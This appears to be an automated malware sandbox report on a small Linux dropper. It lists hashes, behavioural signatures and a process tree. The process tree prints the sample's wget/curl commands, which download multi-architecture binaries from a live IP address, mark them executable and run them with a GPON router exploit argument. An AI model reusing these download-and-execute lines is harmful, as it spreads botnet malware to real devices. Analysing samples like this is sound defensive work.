Analysis
-
max time kernel
86s -
max time network
87s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28-07-2024 16:40
Static task
static1
Behavioral task
behavioral1
Sample
17f41b4b65e5ddad4a76594560d43927_JaffaCakes118
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
17f41b4b65e5ddad4a76594560d43927_JaffaCakes118
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
17f41b4b65e5ddad4a76594560d43927_JaffaCakes118
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
17f41b4b65e5ddad4a76594560d43927_JaffaCakes118
Resource
debian9-mipsel-20240729-en
General
-
Target
17f41b4b65e5ddad4a76594560d43927_JaffaCakes118
-
Size
3KB
-
MD5
17f41b4b65e5ddad4a76594560d43927
-
SHA1
bb7691396c850ff2b4645b90336852650aa26eb6
-
SHA256
36c3310e8853358d2d68f7b1f0ebd3b52f9691f58286799d1a7b9413903d5588
-
SHA512
602d2b3fda5948c263ab2c48f96993daf5ef404faec82cb2e7f55eae7c8dbed3525b6715f537629d7299c3f4e43077bcf1429b81375e7b2e16f398768920b322
Malware Config
Signatures
-
Executes dropped EXE 10 IoCs
Processes:
g0awayg0awayg0awayg0awayg0awayg0awayg0awayg0awayg0awayg0awayioc pid process /tmp/g0away 675 g0away /tmp/g0away 683 g0away /tmp/g0away 697 g0away /tmp/g0away 705 g0away /tmp/g0away 711 g0away /tmp/g0away 719 g0away /tmp/g0away 727 g0away /tmp/g0away 735 g0away /tmp/g0away 743 g0away /tmp/g0away 749 g0away -
Checks CPU configuration 1 TTPs 10 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Reads runtime system information 20 IoCs
Reads data from /proc virtual filesystem.
Processes:
curlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
17f41b4b65e5ddad4a76594560d43927_JaffaCakes118description ioc process File opened for modification /tmp/g0away 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118
Processes
-
/tmp/17f41b4b65e5ddad4a76594560d43927_JaffaCakes118/tmp/17f41b4b65e5ddad4a76594560d43927_JaffaCakes1181⤵
- Writes file to tmp directory
PID:666 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.x862⤵PID:667
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.x862⤵
- Checks CPU configuration
- Reads runtime system information
PID:672 -
/bin/catcat m3th.x862⤵PID:673
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away systemd-private-fd0610902d48473fb76a33ea0471cf99-systemd-timedated.service-Z1pgjC2⤵PID:674
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:675 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.mips2⤵PID:677
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.mips2⤵
- Checks CPU configuration
- Reads runtime system information
PID:680 -
/bin/catcat m3th.mips2⤵PID:681
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away systemd-private-fd0610902d48473fb76a33ea0471cf99-systemd-timedated.service-Z1pgjC2⤵PID:682
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:683 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.mpsl2⤵PID:685
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
PID:688 -
/bin/catcat m3th.mpsl2⤵PID:695
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away2⤵PID:696
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:697 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.arm2⤵PID:699
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.arm2⤵
- Checks CPU configuration
- Reads runtime system information
PID:700 -
/bin/catcat m3th.arm2⤵PID:703
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away2⤵PID:704
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:705 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.arm52⤵PID:707
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.arm52⤵
- Checks CPU configuration
- Reads runtime system information
PID:708 -
/bin/catcat m3th.arm52⤵PID:709
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away2⤵PID:710
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:711 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.arm62⤵PID:713
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.arm62⤵
- Checks CPU configuration
- Reads runtime system information
PID:716 -
/bin/catcat m3th.arm62⤵PID:717
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away2⤵PID:718
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:719 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.arm72⤵PID:721
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.arm72⤵
- Checks CPU configuration
- Reads runtime system information
PID:722 -
/bin/catcat m3th.arm72⤵PID:725
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away2⤵PID:726
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:727 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.ppc2⤵PID:729
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
PID:730 -
/bin/catcat m3th.ppc2⤵PID:733
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away2⤵PID:734
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:735 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.m68k2⤵PID:737
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
PID:738 -
/bin/catcat m3th.m68k2⤵PID:741
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away2⤵PID:742
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:743 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.spc2⤵PID:745
-
/usr/bin/curlcurl -O http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.spc2⤵
- Checks CPU configuration
- Reads runtime system information
PID:746 -
/bin/catcat m3th.spc2⤵PID:747
-
/bin/chmodchmod +x 17f41b4b65e5ddad4a76594560d43927_JaffaCakes118 g0away2⤵PID:748
-
/tmp/g0away./g0away gpon8080.exploit2⤵
- Executes dropped EXE
PID:749 -
/usr/bin/wgetwget http://45.95.168.230/0xxx0xxxasdajshdsajhkgdja/m3th.i6862⤵PID:751